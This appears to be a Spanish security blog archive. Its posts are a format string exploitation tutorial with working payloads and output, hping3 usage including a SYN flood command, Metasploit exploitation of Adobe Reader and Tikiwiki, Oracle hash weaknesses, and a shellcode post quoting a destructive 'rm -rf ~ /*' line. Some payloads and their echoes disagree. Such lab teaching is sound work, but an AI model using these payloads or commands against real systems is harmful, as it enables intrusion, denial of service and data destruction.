Introducción a Format String Attack II

Seguimos con la serie de entradas dedicadas a la técnica Format String Attack

• Format String Attack I de III
• Format String Attack II de III
• Format String Attack III de III

Advertencia


Para realizar las pruebas y obtener los resultados esperados se ha utilizado úna versión desactualizada del compilador gcc, concretamente la 3.4, debido a que la última versión no respetaba los flag para evitar las protecciones de pila.

Cuando vayas a compilar alguno de los códigos vulnerables asegúrate antes de hacerlo poniendo el flag -fno-stack-check.

Escribiendo direcciones de memoria

Al igual que hemos estado usando %x y %s para acceder a los contenidos de las direcciones de memoria, con %n podemos escribir directamente en ellas.

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

Correcto:
BBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

Incorrecto:
BBBB.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.42424242
(-) Valor @ 0x08049648 = 50 0x00000032

La variable Valor está en la dirección de memoria 0x08049648, usando %n seremos capaces de sobreescribir su contenido:

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 41 0x00000029

El valor de la variable dependerá del número de formatos que insertemos antes de %n:

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%20x.%n

Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 60 0x0000003c

Gracias a esto podemos jugar un poco y decrementar o incrementar el valor, según nos interese. Nuestro siguiente objetivo será escribir en la dirección de memoria donde se encuentra nuestra variable:

• Escribiremos 0xde000000 en la dirección 0x08049648
• Escribiremos 0x00ad0000 en la dirección 0x08049649
• Escribiremos 0x0000be00 en la dirección 0x0804964a
• Escribiremos 0x000000ef en la dirección 0x0804964b

Pero como bien sabemos, una pila se caracteríza por una estructura LIFO (Last Input First Output) por tanto, la representación interna en memoria deberá ser al revés. El primer valor de la variable deberá ser 0xef, seguido de 0xbe, 0xad, 0xde y las respectivas direcciones a ocupar serán 0x08049648, 0x08049649, 0x0804964a, 0x0804964b.

Para alcanzar nuestro objetivo debemos seguir los siguientes pasos:

• Primero: 0xef - [Valor de la variable] + [Valor del offset]
• Segundo: 0xbe - 0xef
• Tercero: 0xad - 0xbe
• Cuarto: 0xde - 0xad

Comencemos por escribir 0xef en la dirección 0x08049648:

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Incorrecto:
H�.bffff6e0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 41 0x00000029

La operación 0xef - 41:

>>> 0xef - 41
198

Y de offset sumamos 1 (esto puede variar en cada equipo):

>>> 198 + 1
199

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08"`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%n

Correcto:
H�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%199x.%n

Incorrecto:
H�.bffff6d0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 239 0x000000ef

Necesitamos otro argumento más para que el contador de byte se incremente y nos permita obtener 0xbe. Este argumento puede ser cualquiera, sólo debe cumplir la condición de tener 4 bytes y colocarse justo en la primera dirección de memoria arbitraría posterior a 0x08049648. Y como todo esto debe de ir en el format string que queremos inyectar es fácilmente controlable, así que vamos a buscar una palabra de 4 bytes como "HOLA" y escribamos nuestro format string:

"\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"

Escribamos ahora 0xef en la primera dirección del búffer:

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0.0.
(-) Valor @ 0x08049648 = 67 0x00000043

Obtenemos como valor para la variable 67:

>>> 0xef-67
172

A la resta le sumamos el offset adecuado:

>>> 172+1
173

Y obtenemos que el valor que debemos aplicar es 173:

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6c0.b7fe3000.0.0.0.0.0.0.0.0. 0.
(-) Valor @ 0x08049648 = 239 0x000000ef

Ahora escribamos 0xbe en la segunda dirección del búffer:

>>> 0xbe - 0xef
-49

El valor -49 es negativo y no puede ser insertado en la pila, como solución podemos usar el truco del bit menos significativo y obtener así el valor correcto al restar 0x1be - 0xef:

>>> 0x1be - 0xef
207

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\0x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%205x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%173x.%n.%207x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 414c4f48.
(-) Valor @ 0x08049648 = 114415 0x0001beef

Ahora escribamos 0xad en la tercera dirección del búffer:

>>> 0xad-0xbe
-17

Volvemos a encontrarnos con el mismo error de antes, para resolverlo, nuevamente usamos el bit menos significativo, y restamos 0x1ad-0xbe:

>>> 0x1ad-0xbe
239

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%239x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6b0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.
(-) Valor @ 0x08049648 = 44941039 0x02adbeef

Por último escribamos 0xde en la cuarta dirección del búffer:

>>> 0xde-0xad
49

Como este valor sí resulta positivo, podemos inyectarlo automáticamente:

root@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08HOLA\x49\x96\x04\x08HOLA\x4a\x96\x04\x08HOLA\x4b\x96\x04\x08"
`%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%n

Correcto:
H�HOLAI�HOLAx4a�HOLAK�.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%176x.%n.%205x.%n.%237x.%n.%47x.%n

Incorrecto:
H�HOLAI�HOLAx4a�HOLAK�.bffff6a0.b7fe3000.0.0.0.0.0.0.0.0. 0.. 41544554.. 41544554.. 41544554.
(-) Valor @ 0x08049648 = -559038737 0xdeadbeef

Si observamos el valor que tenía nuestra variable al principio, veremos cómo ha cambiado:

(-) Valor @ 0x08049648 = 50 0x00000032
(-) Valor @ 0x08049648 = -559038737 0xdeadbeef

Y hasta aquí cubrimos con la entrada de hoy, para la siguiente trataré de explicar algunas técnicas como DPA(Direct Parameter Access) para acceder directamente a la posición deseada en la memoria, sobreescribir las secciones .dtors y veremos cómo todo esto puede simplificarse mediante una herramienta que se encargue de construirnos automáticamente la inyección.

Introducción a Format String Attack

Serie de entradas que servirán de ejemplo para explicar los Format String Attack.

• Format String Attack I de III
• Format String Attack II de III
• Format String Attack III de III

Introducción

Los Format String son simples cadenas, caracterizadas por el formato que se les aplica. Si has programado anteriormente en cualquier lenguaje estarás familiarizado con la función printf().

Dicha función toma como primer parámetro la cadena a mostrar, y una serie de variables que permiten formatear la salida por stdout.

Los formatos más comunes que se pueden utilizar son:

• %d Formato de enteros.
• %i Formato de enteros (igual que %d).
• %f Formato de punto flotante.
• %u Formato sin signo.
• %x Formato hexadecimal.
• %p Muestra el correspondiente valor del puntero.
• %c Formato de carácter.

Format String Vulnerability

La vulnerabilidad viene por el mal uso que se la da a la función printf, cuando un programador la utiliza como printf(cadena) en lugar de printf("%s", cadena). Aunque el resultado devuelto es el mismo y funciona correctamente.

La omisión del parámetro de formateado deriva en un bug que podría ser aprovechado por un atacante para provocar la ejecución de código malicioso.

Veamos un ejemplo

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example prueba.

Correcto: prueba.
Incorrecto: prueba.
(-) Valor @ 0x0804a024 = 50 0x00000032

Funciona perfectamente, y el programador en ningún momento advierte ningún fallo, pero si hacemos la misma prueba pasándole un format string como parámetro concatenado a la cadena obtenemos lo siguiente:

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x

Correcto: BBBB%x
Incorrecto: BBBBbfa675ee
(-) Valor @ 0x0804a024 = 50 0x00000032

La familia de funciones format

Hay una serie de funciones de formato definidas en el ANSI C, algunas utilizadas para cubrir necesidades básicas y otras más complejas basadas en estas primeras, que si bien no entran dentro del estándar, si están disponibles para su uso.

Funciones básicas:

• printf Imprime el flujo 'stdout'.
• fprintf Imprime el flujo de un fichero.
• sprintf Imprime en una cadena.
• snprintf Imprime en una cadena comprobando la longitud.
• vprintf Imprime en 'stdout' desde una estructura va_arg.
• vfprintf Imprime en un fichero desde una estructura va_arg.
• vsprintf Imprime en una cadena desde una estructura va_arg.
• vsnprintf Imprime en una cadena comprobando la longitud desde una estructura va_arg.

Otras:

• syslog, verr*, err*, vwarn*, warn*, setproctile

La pila y su funcionamiento

El comportamiento de la función de formato es controlado por el format string. Recuperando los parámetros solicitados desde la pila.

Así:

printf("Número %d sin dirección, número %d con dirección: %08x\n", i, a, &a);

El aspecto de la pila para la instrucción anterior es el siguiente:
Donde:

• A Dirección de la cadena.
• i Valor de la variable i.
• a Valor de la variable a.
• &a Dirección de la variable a.

La función de formato parseará la cadena A, leyendo carácter a carácter y copiándolo en la salida mientras que este no sea '%'. En el momento de encontrarlo el carácter a continuación de '%', especificará el tipo de parámetro a evaluar.

La cadena '%%' se comporta de forma especial, y permite imprimir a la salida el carácter '%'. Los otros parámetros se relacionan con el resto de datos alojados en la pila.

Leyendo direcciones de memoria

Cuando usamos el formato %x estamos obligando a que nos muestre por stdout la representación de una palabra de 4-byte en la pila.

Si queremos conocer la dirección que apunta al string que hemos introducido, deberemos introducir varios formatos de cadena hasta obtener el valor hexadecimal de esta.

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x%x%x%x%x

Correcto:
BBBB%x%x%x%x%x
Incorrecto:
BBBBbffb85e60000
(-) Valor @ 0x0804a024 = 50 0x00000032

Probando un poco más

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x%x%x%x%x%x%x%x%x%x%x%x

Correcto:
BBBB%x%x%x%x%x%x%x%x%x%x%x%x
Incorrecto:
BBBBbfd6f5d80000b78cc0000bfd6f44400042424242
(-) Valor @ 0x0804a024 = 50 0x00000032

Los cuatro bytes de 0x42 indican que el duodécimo parámetro de formato está leyendo del principio de la cadena de formato para obtener sus datos


Pero si una dirección de memoria válida es usada, este proceso se puede usar para leer un string que se encuentre en esa dirección.

Como ejemplo vamos a utilizar la función getenv() de C, que nos devuelve un string con el contenido de la variable de entorno que le hemos pasado como parámetro. Nosotros vamos a servirnos de esto para conocer la dirección de memoria donde se encuentra, y así demostrar cómo leer los datos que se encuentran en una posición válida.


El código de uso para getenv() es el siguiente

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ gcc getenvaddr.c -o getenvaddr

Vamos a localizar la dirección de la variable LOGNAME que contiene el usuario con el que nos logueamos en la máquina.

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ echo $LOGNAME
sebas
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./getenvaddr LOGNAME
LOGNAME está localizada en 0xbfa07e44

Ahora sabemos que la cadena "sebas" está almacenada en la dirección 0xbfa07e44. Usemos el format string %x y %s con localización exacta para obtener el valor.

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example `printf "\x44\x7e\xa0\xbf"`%x%x%x%x%x%x%x%x%x%x%x"->"%s

Correcto:
D~��%x%x%x%x%x%x%x%x%x%x%x->%s
Incorrecto:
D~��bf92d5d60000b780d0000bf92c874000->sebas
(-) Valor @ 0x0804a024 = 50 0x00000032

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example `printf "\x44\x7e\xa0\xbf"`%x%x%x%x%x%x%x%x%x%x%x"->"%x

Correcto:
D~��%x%x%x%x%x%x%x%x%x%x%x->%x
Incorrecto:
D~��bf9615d60000b77530000bf95fd74000->bfa07e44
(-) Valor @ 0x0804a024 = 50 0x00000032

En la siguiente entrada veremos cómo escribir en direcciones de memoria y algunos trucos para ello

Introducción a Hping

Introducción

Hping es una herramienta encargada de generar y analizar paquetes TCP/IP, permitiéndonos
falsificar la información enviada con el objetivo de realizar auditorías de seguridad
y poder testear redes y sistemas de detección de intrusos.
Para más información[wikipedia]

Para poder utilizarla, suponiendo que estamos en una distribución Ubuntu, desde terminal:

sudo apt-get install hping3

Un paseo rápida por las páginas de man nos revela que podemos usarla para:

• Probar reglas de firewall.
• Escaneo de puertos avanzados.
• Probar el rendimiento de una red utilizando diferentes protocolos, tamaños de paquetes, tipos de servicios y fragmentación.
• Descubrir la unidad máxima de transferencia (MTU) de un paquete.
• Transferir ficheros a través de un firewall.
• Hacer traceroute entre diferentes protocolos.
• Usarlo como Firewalk.
• Fingerprinting de sistemas remotos.
• Auditar pila TCP/IP.
• ...

Utilización
El uso más sencillo es sustituir a la herramienta ping:

La única diferencia está en algunos flags de control, en este caso RA hace referencia a RST/ACK que nos informa de que el puerto está cerrado.

Probamos haciendo uso de otro puerto:

En este caso observamos como el flag está marcado a SA, lo cual hace referencia a SYN/ACK o lo que es lo mismo, nos está informando de que el puerto se encuentra abierto.

Otro uso que podemos darle a hping es emplearlo como el comando traceroute, y que nos muestre el camino que recorre un paquete desde su origen hasta el destino. Configurando los flags a nuestro antojo, en este caso podemos lanzar el comando con la opción -t donde especificamos el valor del TTL(time to live), y con -z que a cada pulsación de CNTRL+z incrementamos en uno el valor del TTL.

Otras posibilidades pueden ser:

• Hacer escaneos de puertos del 100 al 110:
  

  hping3 seguesec.blogspot.com -V --scan 100-110

  
  
• Enviar paquetes UDP spoofeados desde varios destinos:
  

  hping3 seguesec.blogspot.com --udp --rand-source

• Firmar paquetes:
  

  hping3 -2 -p 7 seguesec.blogspot.com -d 70 -E text.txt

• Enviar paquetes ICMP a un determinado host
  

  hping3 seguesec.blogspot.com --icmp -V

• Enviar paquetes TCP SYM cada determinados segundos a un puerto específico
  

  hping3 seguesec.blogspot.com -S -V -p puerto -i segundos

• Y si quieres empezar a tocar las narices provocar un SYN Flood Attack con el siguiente comando:

hping3 -i ul -S -p 80 192.168.0.10

Otras opciones más interesantes pasan por hacer packet crafting o probar las reglas del firewall, que veremos en entradas posteriores.

Explotando Adobe Cooltype Sing

Hace unos días apareció una nueva vulnerabilidad en los productos Adobe, en especial para el lector PDF Adobe Reader, en este caso aprovechando una vulnerabilidad en el campo "uniqueName" situado dentro de la estructura de la tabla de fuentes True Type, permitiendo al atacante producir un desbordamiento de pila y ejecutar código arbitrario.

En Metasploit no han tardado mucho en desarrollar un exploit e integrarlo para que podamos hacer las pruebas: adobe_cooltype_sing.rb

Para poder explotarla:



Los parámetros a configurar son el nombre del PDF que se genera y el path donde se almacenará, también podemos configurar el objetivo sobre el cuál queremos lanzarlo.



Cargamos el payload a lanzar



Y por último ejecutamos el exploit y lanzamos el handler a la espera de que el objetivo ejecute el PDF y nos devuelva la sesión



El único problema es que en determinadas plataformas y versiones de Adobe Reader este se queda colgado y no ejecuta el PDF.

Si os dais una vuelta por el SVN del exploit podréis observar los nuevos commits que se van añadiendo y las versiones que se van soportando.

Auditoría de claves Oracle - Mecanismos de contraseñas usado por Oracle

Auditoría de claves Oracle - Mecanismos de contraseñas usado por Oracle (I)
Auditoría de claves Oracle - Obtener claves de Oracle (II)
Auditoría de claves Oracle - Auditorizando las claves de Oracle (III)
Auditoría de claves Oracle - Recomendaciones para mejorar la seguridad (IV)

Comienzo otra nueva tanda de entradas donde trataré de dar un enfoque personal a lo que viene ser la auditoría de claves sobre productos Oracle. Si no te gusta el formato que utilizo para dividir las entradas siempre puedes ver directamente el fichero PDF que escribí hace un tiempo.

PDF - Auditoría de claves Oracle

Comenzaremos por dar un enfoque sobre los mecanismos de seguridad que son utilizados para generar las claves de forma interna en nuestras base de datos.

Mecanismos de contraseñas usados por Oracle

Las contraseñas de las cuentas de usuario son almacenadas en la tabla SYS.USER$ empleando hashes de 8-bytes conseguidos mediant un algoritmo de hashing sin documentar.

En un estudio realizado Joshua Wright & Carlos Cid se recogieron una serie de puntos débiles que comprometían la protección de contraseñas utilizadas en el mecanismo de autenticación:

• Un salt para generar contraseñas muy pobre.


• Pobre juego de caracteres permitidos.


• Algoritmo de hashing bastante débil.

El conocimiento de esto por parte de un atacante permitiria obtener la contraseña en texto plano del hash almacenado para un determinado usuario.

Un salt para generar contraseñas muy pobre

Oracle utiliza una tecnica poco convencional para la obtención de los salt, anteponiendo el nombre de usuario a la contraseña antes de calcular el hash.

Esto permite la posibilidad de obtener información sobre la contraseña de un usuario basándonos únicamente en su valor de hash y los credenciales conocidos para cualquier otro usuario.

SQL> CREATE user prueba identified by password;
User created.

SQL> CREATE user prueb identified by apassword;
User created.

SQL> SELECT username, password FROM dba_users WHERE username LIKE ’PRUEB\ %’;

USERNAME: PRUEBA
PASSWORD: BBFF158371D315FC

USERNAME: PRUEB
PASSWORD: BBFF158371D315FC


Revisando el resultado de nuestra consulta, cualquier atacante podría tener fuertes evidencias de la relación existente entre ambas contraseñas de usuario.

Además los valores generados para los salt no son aleatorios. Si bien es cierto que permite reducir la eficacia de un ataque de diccionario contra el hash de alguna contraseña larga. Pero eso no evita que un atacante pueda usar una tabla de posibles contraseñas para un usuario común (por ejemplo SYSTEM) y vaya probando en diferentes sistemas hasta dar con los resultados esperados.

Pobre juego de caracteres permitidos

Otro de los puntos débiles de Oracle es el pequeño abanico de caracteres que utiliza para obtener el hash de una contraseña.

Antes de que este sea obtenido, los caracteres de la contraseña son transformados a mayúsculas, independientemente de cómo hayan sido introducidos estos por el usuario.

Este comportamiento puede observarse para una misma contraseña introducida de diversas formas en el sistema y comprobar los valores de sus respectivos hashes.

SQL> ALTER user prueba identified by "PasswoRd";
User altered.

SQL> SELECT username, password FROM dba_users WHERE username LIKE ’PRUEBA’;

USERNAME: PRUEBA
PASSWORD: BBFF158371D315FC

SQL> ALTER user prueba identified by "password";
User altered.

SQL> SELECT username, password FROM dba_users WHERE username LIKE ’PRUEBA’;

USERNAME: PRUEBA
PASSWORD: BBFF158371D315FC

SQL> ALTER user prueba identified by "PASSWORD";
User altered.

SQL> SELECT username, password FROM dba_users WHERE username LIKE ’PRUEBA’;

USERNAME: PRUEBA
PASSWORD: BBFF158371D315FC



Observando la salida devuelta por nuestras consultas comprobamos que el hash permanece constante ante las modificaciones realizadas a la contraseña. Esto supone una reducción de la entropía de nuestas claves (por ejemplo,
si usamos caracteres alfanuméricos, obtendremos un mecanismo que permite 36^n posibles combinaciones de longitud n, en lugar de 62^n , que serían las deseadas).

Otro problema es la falsa sensación de seguridad que puede generar para una organización que ponga ciertas restricciones a la hora de generar sus claves, como la combinación de minúsculas y mayúsculas.

Algoritmo de hashing bastante débil

El algoritmo utilizado para calcular los hashes no ha sido abiertamente documentado por Oracle, pero en 1993 apareció en el newsgroup de comp.database.oracle un mensaje donde se describía el algoritmo en detalle, reconociendo el uso de un magic number como parámetro de entrada.

El proceso es el siguiente:

1. Concatena el nombre de usuario y la contraseña para producir una nueva cadena en texto plano.
   
   
2. Se convierte la cadena anterior en mayúsculas.
   
   
3. Se contierte la cadena en texto plano al formato multi-byte, teniendo los caracteres ASCII el octeto superior establecido a 0x00.
   
   
4. Se cifra la cadena en texto plano (completando con 0 en caso de ser necesario) usando el algoritmo DES en modo CBC con el magic number 0x0123456789ABCDEF.
   
   
5. Nuevamente se vuelve a encriptar la cadena en texto plano con DES-CBC, pero utilizando esta vez como magic number el último bloque de la salida devuelta por el paso anterior (ignorando los bits de paridad). Dicho bloque es convertido a cadena para poder producir con ella el hash de la contraseña.

En la siguiente entrega se explicará cómo es posible obtener una copia de todos los usuarios con sus respectivos hashes para poder sacar las contraseñas en texto plano.

Desensamblar una Shellcode

Leyendo esta entrada publicada por los de Securiteam me ha hecho recordar la cantidad de cabroncetes que hay sueltos por ahí y la manía que tienen por incluir instrucciones como rm -rf ~ /* 2> /dev/null & en la shellcode utilizada para explotar una vulnerabilidad y de paso inutilizarte el equipo.

En el caso que comenta xyberpix, al ejecutar el exploit, junto a este se lanzaba de paso un borrado contra el directorio home del usuario para pasar luego al directorio raíz, y mandar cualquier error de la salida al directorio /dev/null, de forma que el proceso fuese transparente al usuario.

Todo esto me hace recordar que nunca es bueno fiarse de los exploits que encontramos por la red, y que siempre viene bien saber qué hace exactamente la shellcode que queremos lanzar, así que como más vale prevenir que curar, he hecho un pequeño script en perl para que desensamble una shellcode y nos muestre los opcodes y se puedan leer con un poco más de facilidad.

En un nuevo fichero escribimos:


#!/usr/bin/perl -w

$shellcode = "AQUÍ VA NUESTRA SHELLCODE";

open(FILE, ">shellcode.bin");
print FILE "$shellcode";
close(FILE);


Lo ejecutamos con:


sebas@Penetraitor:~/roote/lab-sec$ perl proof.pl


Y por último hacemos que nos muestre el resultado por pantalla:


sebas@Penetraitor:~/roote/lab-sec$ ndisasm -b 32 shellcode.bin

00000000 2321 and esp,[ecx]
00000002 2F das
00000003 7573 jnz 0x78
00000005 722F jc 0x36
00000007 62696E bound ebp,[ecx+0x6e]
0000000A 2F das
0000000B 7065 jo 0x72
0000000D 726C jc 0x7b

[...]


También existen otras alternativas como Pym's, que nos permite desensamblar una shell de forma online.

Laboratorio Metasploit: Explotando Tikiwiki (I de III)

Laboratorio Metasploit: Explotando Tikiwiki (I de III)
Laboratorio Metasploit: Explotando Tikiwiki (II de III)
Laboratorio Metasploit: Explotando Tikiwiki (III de III)

Introducción

Diseñada por HD. Moore. Metasploit es un entorno pensado para realizar pentesting en sistemas vulnerables, ya sea a través de la consola, o su interfaz gráfica.

A esto hay que añadirle la máquina virtual Metasploitable, basada en Ubuntu 8.04, que contiene fallos de seguridad en determinados servicios, permitiendonos poner en práctica nuestros conocimientos de intrusión y explotación.

El objetivo de esta serie de entradas es guiar al usuario en la detección y explotación de una pequeña vulnerabilidad en Tikiwiki.

Herramientas necesarias

A lo largo de las entradas vamos a utilizar las siguientes herramientas:

• Metasploit framework-3.4.0-linux-i686.run


• Metasploitable Torrent


• VMWare Player - Aplicación para ejecutar máquinas virtuales.


• DirBuster - Permite realizar ataques de fuerza bruta para sacar los directorios y ficheros de una aplicación web.


• PHP Reverse Shell v1.0 - Shell desarrollada por Pentest Monkey.




Comenzando el ataque



Para evitar desarrollar una entrada demasiado densa, trataremos de condensar en esta primera parte la aplicación del exploit Tikidblib, que permite a un usuario anónimo hacer un dump del MySQL user/pass generando un mysql error utilizando la variable "sort_mode"

El escenario de ataque que se planteará durante las entradas será un equipo atacante con Ubuntu 10.04 bajo la dirección: 192.168.10.39 y un equipo victima bajo Metasploitable(Ubuntu 8.04) que se ejecutará en una máquina virtual con la dirección: 192.168.10.42.

En primer lugar ejecutaremos la aplicación DirBuster para que nos detecte que servicio web estamos ejecutando:



Buscamos en metasploit las vulnerabilidades que tenemos disponibles para TikiWiki: